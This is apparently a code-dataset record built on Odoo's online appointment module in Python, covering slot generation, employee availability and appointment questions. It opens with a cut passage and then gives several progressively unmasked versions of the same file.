ev: ( fields.Date.to_date(ev.start) <= fields.Date.to_date(end_dt) and fields.Date.to_date(ev.stop) >= fields.Date.to_date(start_dt) ) for ev in events.filtered(event_in_scope): if ev.allday: # allday events are considered to take the whole day in the related employee's timezone event_tz = pytz.timezone(ev.event_tz or employee.user_id.tz or self.env.user.tz or slot['slot'].appointment_type_id.appointment_tz or 'UTC') ev_start_dt = datetime.combine(fields.Date.from_string(ev.start_date), time.min) ev_stop_dt = datetime.combine(fields.Date.from_string(ev.stop_date), time.max) ev_start_dt = event_tz.localize(ev_start_dt).astimezone(pytz.UTC).replace(tzinfo=None) ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz.UTC).replace(tzinfo=None) if ev_start_dt < end_dt and ev_stop_dt > start_dt: return False elif fields.Datetime.to_datetime(ev.start) < end_dt and fields.Datetime.to_datetime(ev.stop) > start_dt: return False return True workhours = {} meetings = {} # With context will be used in resource.calendar to force the referential user # for work interval computing to the *user linked to the employee* available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in (employee or self.employee_ids)] random.shuffle(available_employees) for slot in slots: for emp_pos, emp in enumerate(available_employees): if emp_pos not in workhours: workhours[emp_pos] = [ (interval[0].astimezone(pytz.UTC).replace(tzinfo=None), interval[1].astimezone(pytz.UTC).replace(tzinfo=None)) for interval in emp.resource_calendar_id._work_intervals_batch( first_day, last_day, resources=emp.resource_id, )[emp.resource_id.id] ] if is_work_available(slot['UTC'][0], slot['UTC'][1], workhours[emp_pos]): if emp_pos not in meetings: # note: no check is made on the attendee's status (accepted/declined/...) meetings[emp_pos] = self.env['calendar.event'].search([ ('partner_ids.user_ids', '=', emp.user_id.id), ('start', '<', fields.Datetime.to_string(last_day.replace(hour=23, minute=59, second=59))), ('stop', '>', fields.Datetime.to_string(first_day.replace(hour=0, minute=0, second=0))) ]) if is_calendar_available(slot, meetings[emp_pos], emp): slot['employee_id'] = emp break def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(days=self.max_schedule_days)) # Compute available slots (ordered) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) # Compute calendar rendering and inject available slots today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: # slots are ordered, so check all unprocessed slots from until > day while slots and (slots[0][timezone][0].date() <= day): if (slots[0][timezone][0].date() == day) and ('employee_id' in slots[0]): today_slots.append({ 'employee_id': slots[0]['employee_id'].id, 'datetime': slots[0][timezone][0].strftime('%Y-%m-%d %H:%M:%S'), 'hours': slots[0][timezone][0].strftime('%H:%M') }) slots.pop(0) dates[week_index][day_index] = { 'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls } months.append({ 'month': format_datetime(start, 'MMMM Y', locale=get_lang(self.env).code), 'weeks': dates }) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = "calendar.appointment.slot" _description = "Online Appointment : Time Slot" _rec_name = "weekday" _order = "weekday, hour" appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([ ('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday'), ], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.00 or slot.hour >= 24.00 for slot in self): raise ValidationError(_("Please enter a valid hour between 0:00 and 24:00 for your slots.")) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, "%s, %02d:%02d" % (weekdays.get(slot.weekday), int(slot.hour), int(round((slot.hour % 1) * 60))))) class CalendarAppointmentQuestion(models.Model): _name = "calendar.appointment.question" _description = "Online Appointment : Questions" _order = "sequence" sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete="cascade") name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([ ('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)')], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = "calendar.appointment.answer" _description = "Online Appointment : Answers" question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True)

flexible

{ "blob_id": "e03dfa0e02313c5478d4e97dcaf3bc27915bd878", "index": 1421, "step-1": "<mask token>\n\n\nclass CalendarAppointmentSlot(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-2": "<mask token>\n\n\nclass CalendarAppointmentType(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n days=self.max_schedule_days))\n slots = self._slots_generate(first_day.astimezone(appt_tz),\n last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC),\n last_day.astimezone(pytz.UTC), employee)\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n while slots and slots[0][timezone][0].date() <= day:\n if slots[0][timezone][0].date(\n ) == day and 'employee_id' in slots[0]:\n today_slots.append({'employee_id': slots[0]\n ['employee_id'].id, 'datetime': slots[0\n ][timezone][0].strftime(\n '%Y-%m-%d %H:%M:%S'), 'hours': slots[0]\n [timezone][0].strftime('%H:%M')})\n slots.pop(0)\n dates[week_index][day_index] = {'day': day, 'slots':\n today_slots, 'mute_cls': mute_cls, 'weekend_cls':\n weekend_cls, 'today_cls': today_cls}\n months.append({'month': format_datetime(start, 'MMMM Y', locale\n =get_lang(self.env).code), 'weeks': dates})\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = 'calendar.appointment.slot'\n _description = 'Online Appointment : Time Slot'\n _rec_name = 'weekday'\n _order = 'weekday, hour'\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3',\n 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'),\n ('7', 'Sunday')], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-3": "<mask token>\n\n\nclass CalendarAppointmentType(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _compute_website_url(self):\n super(CalendarAppointmentType, self)._compute_website_url()\n for appointment_type in self:\n if appointment_type.id:\n appointment_type.website_url = '/calendar/%s/appointment' % (\n slug(appointment_type),)\n <mask token>\n\n def action_calendar_meetings(self):\n self.ensure_one()\n action = self.env['ir.actions.actions']._for_xml_id(\n 'calendar.action_calendar_event')\n action['context'] = {'default_appointment_type_id': self.id,\n 'search_default_appointment_type_id': self.id}\n return action\n <mask token>\n <mask token>\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n days=self.max_schedule_days))\n slots = self._slots_generate(first_day.astimezone(appt_tz),\n last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC),\n last_day.astimezone(pytz.UTC), employee)\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n while slots and slots[0][timezone][0].date() <= day:\n if slots[0][timezone][0].date(\n ) == day and 'employee_id' in slots[0]:\n today_slots.append({'employee_id': slots[0]\n ['employee_id'].id, 'datetime': slots[0\n ][timezone][0].strftime(\n '%Y-%m-%d %H:%M:%S'), 'hours': slots[0]\n [timezone][0].strftime('%H:%M')})\n slots.pop(0)\n dates[week_index][day_index] = {'day': day, 'slots':\n today_slots, 'mute_cls': mute_cls, 'weekend_cls':\n weekend_cls, 'today_cls': today_cls}\n months.append({'month': format_datetime(start, 'MMMM Y', locale\n =get_lang(self.env).code), 'weeks': dates})\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = 'calendar.appointment.slot'\n _description = 'Online Appointment : Time Slot'\n _rec_name = 'weekday'\n _order = 'weekday, hour'\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3',\n 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'),\n ('7', 'Sunday')], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-4": "import calendar as cal\nimport random\nimport pytz\nfrom datetime import datetime, timedelta, time\nfrom dateutil import rrule\nfrom dateutil.relativedelta import relativedelta\nfrom babel.dates import format_datetime\nfrom odoo import api, fields, models, _\nfrom odoo.tools.misc import get_lang\nfrom odoo.addons.base.models.res_partner import _tz_get\nfrom odoo.addons.http_routing.models.ir_http import slug\nfrom odoo.exceptions import ValidationError\n\n\nclass CalendarAppointmentType(models.Model):\n _name = 'calendar.appointment.type'\n _description = 'Online Appointment Type'\n _inherit = ['mail.thread', 'website.seo.metadata',\n 'website.published.mixin']\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n name = fields.Char('Appointment Type', required=True, translate=True)\n min_schedule_hours = fields.Float('Schedule before (hours)', required=\n True, default=1.0)\n max_schedule_days = fields.Integer('Schedule not after (days)',\n required=True, default=15)\n min_cancellation_hours = fields.Float('Cancel Before (hours)', required\n =True, default=1.0)\n appointment_duration = fields.Float('Appointment Duration', required=\n True, default=1.0)\n reminder_ids = fields.Many2many('calendar.alarm', string='Reminders')\n location = fields.Char('Location', help='Location of the appointments')\n message_confirmation = fields.Html('Confirmation Message', translate=True)\n message_intro = fields.Html('Introduction Message', translate=True)\n country_ids = fields.Many2many('res.country',\n 'website_calendar_type_country_rel', string='Restrict Countries',\n help=\n 'Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries'\n )\n question_ids = fields.One2many('calendar.appointment.question',\n 'appointment_type_id', string='Questions', copy=True)\n slot_ids = fields.One2many('calendar.appointment.slot',\n 'appointment_type_id', 'Availabilities', copy=True)\n appointment_tz = fields.Selection(_tz_get, string='Timezone', required=\n True, default=lambda self: self.env.user.tz, help=\n 'Timezone where appointment take place')\n employee_ids = fields.Many2many('hr.employee',\n 'website_calendar_type_employee_rel', domain=[('user_id', '!=', \n False)], string='Employees')\n assignation_method = fields.Selection([('random', 'Random'), ('chosen',\n 'Chosen by the Customer')], string='Assignment Method', default=\n 'random', help=\n 'How employees will be assigned to meetings customers book on your website.'\n )\n appointment_count = fields.Integer('# Appointments', compute=\n '_compute_appointment_count')\n\n def _compute_appointment_count(self):\n meeting_data = self.env['calendar.event'].read_group([(\n 'appointment_type_id', 'in', self.ids)], ['appointment_type_id'\n ], ['appointment_type_id'])\n mapped_data = {m['appointment_type_id'][0]: m[\n 'appointment_type_id_count'] for m in meeting_data}\n for appointment_type in self:\n appointment_type.appointment_count = mapped_data.get(\n appointment_type.id, 0)\n\n def _compute_website_url(self):\n super(CalendarAppointmentType, self)._compute_website_url()\n for appointment_type in self:\n if appointment_type.id:\n appointment_type.website_url = '/calendar/%s/appointment' % (\n slug(appointment_type),)\n\n @api.returns('self', lambda value: value.id)\n def copy(self, default=None):\n default = default or {}\n default['name'] = self.name + _(' (copy)')\n return super(CalendarAppointmentType, self).copy(default=default)\n\n def action_calendar_meetings(self):\n self.ensure_one()\n action = self.env['ir.actions.actions']._for_xml_id(\n 'calendar.action_calendar_event')\n action['context'] = {'default_appointment_type_id': self.id,\n 'search_default_appointment_type_id': self.id}\n return action\n\n def _slots_generate(self, first_day, last_day, timezone):\n \"\"\" Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone)\n between first_day and last_day (datetimes in appointment timezone)\n\n :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...},\n ... ]\n \"\"\"\n\n def append_slot(day, slot):\n local_start = appt_tz.localize(datetime.combine(day, time(hour=\n int(slot.hour), minute=int(round(slot.hour % 1 * 60)))))\n local_end = appt_tz.localize(datetime.combine(day, time(hour=\n int(slot.hour), minute=int(round(slot.hour % 1 * 60)))) +\n relativedelta(hours=self.appointment_duration))\n slots.append({self.appointment_tz: (local_start, local_end),\n timezone: (local_start.astimezone(requested_tz), local_end.\n astimezone(requested_tz)), 'UTC': (local_start.astimezone(\n pytz.UTC).replace(tzinfo=None), local_end.astimezone(pytz.\n UTC).replace(tzinfo=None)), 'slot': slot})\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n slots = []\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) ==\n first_day.isoweekday()):\n if slot.hour > first_day.hour + first_day.minute / 60.0:\n append_slot(first_day.date(), slot)\n slot_weekday = [(int(weekday) - 1) for weekday in self.slot_ids.\n mapped('weekday')]\n for day in rrule.rrule(rrule.DAILY, dtstart=first_day.date() +\n timedelta(days=1), until=last_day.date(), byweekday=slot_weekday):\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) ==\n day.isoweekday()):\n append_slot(day, slot)\n return slots\n\n def _slots_available(self, slots, first_day, last_day, employee=None):\n \"\"\" Fills the slot stucture with an available employee\n\n :param slots: slots structure generated by _slots_generate\n :param first_day: start datetime in UTC\n :param last_day: end datetime in UTC\n :param employee: if set, only consider this employee\n if not set, consider all employees assigned to this appointment type\n \"\"\"\n\n def is_work_available(start_dt, end_dt, intervals):\n \"\"\" check if the slot is contained in the employee's work hours (defined by intervals)\n \"\"\"\n\n def find_start_index():\n \"\"\" find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt\n \"\"\"\n\n def recursive_find_index(lower_bound, upper_bound):\n if upper_bound - lower_bound <= 1:\n if intervals[upper_bound][0] <= start_dt:\n return upper_bound\n return lower_bound\n index = (upper_bound + lower_bound) // 2\n if intervals[index][0] <= start_dt:\n return recursive_find_index(index, upper_bound)\n else:\n return recursive_find_index(lower_bound, index)\n if start_dt <= intervals[0][0] - tolerance:\n return -1\n if end_dt >= intervals[-1][1] + tolerance:\n return -1\n return recursive_find_index(0, len(intervals) - 1)\n if not intervals:\n return False\n tolerance = timedelta(minutes=1)\n start_index = find_start_index()\n if start_index != -1:\n for index in range(start_index, len(intervals)):\n if intervals[index][1] >= end_dt - tolerance:\n return True\n if len(intervals) == index + 1 or intervals[index + 1][0\n ] - intervals[index][1] > tolerance:\n return False\n return False\n\n def is_calendar_available(slot, events, employee):\n \"\"\" Returns True if the given slot doesn't collide with given events for the employee\n \"\"\"\n start_dt = slot['UTC'][0]\n end_dt = slot['UTC'][1]\n event_in_scope = lambda ev: fields.Date.to_date(ev.start\n ) <= fields.Date.to_date(end_dt) and fields.Date.to_date(ev\n .stop) >= fields.Date.to_date(start_dt)\n for ev in events.filtered(event_in_scope):\n if ev.allday:\n event_tz = pytz.timezone(ev.event_tz or employee.\n user_id.tz or self.env.user.tz or slot['slot'].\n appointment_type_id.appointment_tz or 'UTC')\n ev_start_dt = datetime.combine(fields.Date.from_string(\n ev.start_date), time.min)\n ev_stop_dt = datetime.combine(fields.Date.from_string(\n ev.stop_date), time.max)\n ev_start_dt = event_tz.localize(ev_start_dt).astimezone(\n pytz.UTC).replace(tzinfo=None)\n ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz\n .UTC).replace(tzinfo=None)\n if ev_start_dt < end_dt and ev_stop_dt > start_dt:\n return False\n elif fields.Datetime.to_datetime(ev.start\n ) < end_dt and fields.Datetime.to_datetime(ev.stop\n ) > start_dt:\n return False\n return True\n workhours = {}\n meetings = {}\n available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in\n employee or self.employee_ids]\n random.shuffle(available_employees)\n for slot in slots:\n for emp_pos, emp in enumerate(available_employees):\n if emp_pos not in workhours:\n workhours[emp_pos] = [(interval[0].astimezone(pytz.UTC)\n .replace(tzinfo=None), interval[1].astimezone(pytz.\n UTC).replace(tzinfo=None)) for interval in emp.\n resource_calendar_id._work_intervals_batch(\n first_day, last_day, resources=emp.resource_id)[emp\n .resource_id.id]]\n if is_work_available(slot['UTC'][0], slot['UTC'][1],\n workhours[emp_pos]):\n if emp_pos not in meetings:\n meetings[emp_pos] = self.env['calendar.event'].search([\n ('partner_ids.user_ids', '=', emp.user_id.id),\n ('start', '<', fields.Datetime.to_string(\n last_day.replace(hour=23, minute=59, second=59)\n )), ('stop', '>', fields.Datetime.to_string(\n first_day.replace(hour=0, minute=0, second=0)))])\n if is_calendar_available(slot, meetings[emp_pos], emp):\n slot['employee_id'] = emp\n break\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(\n days=self.max_schedule_days))\n slots = self._slots_generate(first_day.astimezone(appt_tz),\n last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC),\n last_day.astimezone(pytz.UTC), employee)\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n while slots and slots[0][timezone][0].date() <= day:\n if slots[0][timezone][0].date(\n ) == day and 'employee_id' in slots[0]:\n today_slots.append({'employee_id': slots[0]\n ['employee_id'].id, 'datetime': slots[0\n ][timezone][0].strftime(\n '%Y-%m-%d %H:%M:%S'), 'hours': slots[0]\n [timezone][0].strftime('%H:%M')})\n slots.pop(0)\n dates[week_index][day_index] = {'day': day, 'slots':\n today_slots, 'mute_cls': mute_cls, 'weekend_cls':\n weekend_cls, 'today_cls': today_cls}\n months.append({'month': format_datetime(start, 'MMMM Y', locale\n =get_lang(self.env).code), 'weeks': dates})\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = 'calendar.appointment.slot'\n _description = 'Online Appointment : Time Slot'\n _rec_name = 'weekday'\n _order = 'weekday, hour'\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3',\n 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'),\n ('7', 'Sunday')], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self):\n raise ValidationError(_(\n 'Please enter a valid hour between 0:00 and 24:00 for your slots.'\n ))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % (\n weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour %\n 1 * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = 'calendar.appointment.question'\n _description = 'Online Appointment : Questions'\n _order = 'sequence'\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type',\n 'Appointment Type', ondelete='cascade')\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([('char', 'Single line text'), ('text',\n 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio',\n 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)'\n )], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer',\n 'calendar_appointment_question_answer_rel', 'question_id',\n 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = 'calendar.appointment.answer'\n _description = 'Online Appointment : Answers'\n question_id = fields.Many2many('calendar.appointment.question',\n 'calendar_appointment_question_answer_rel', 'answer_id',\n 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-5": "# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nimport calendar as cal\nimport random\nimport pytz\nfrom datetime import datetime, timedelta, time\nfrom dateutil import rrule\nfrom dateutil.relativedelta import relativedelta\nfrom babel.dates import format_datetime\n\nfrom odoo import api, fields, models, _\nfrom odoo.tools.misc import get_lang\nfrom odoo.addons.base.models.res_partner import _tz_get\nfrom odoo.addons.http_routing.models.ir_http import slug\nfrom odoo.exceptions import ValidationError\n\n\nclass 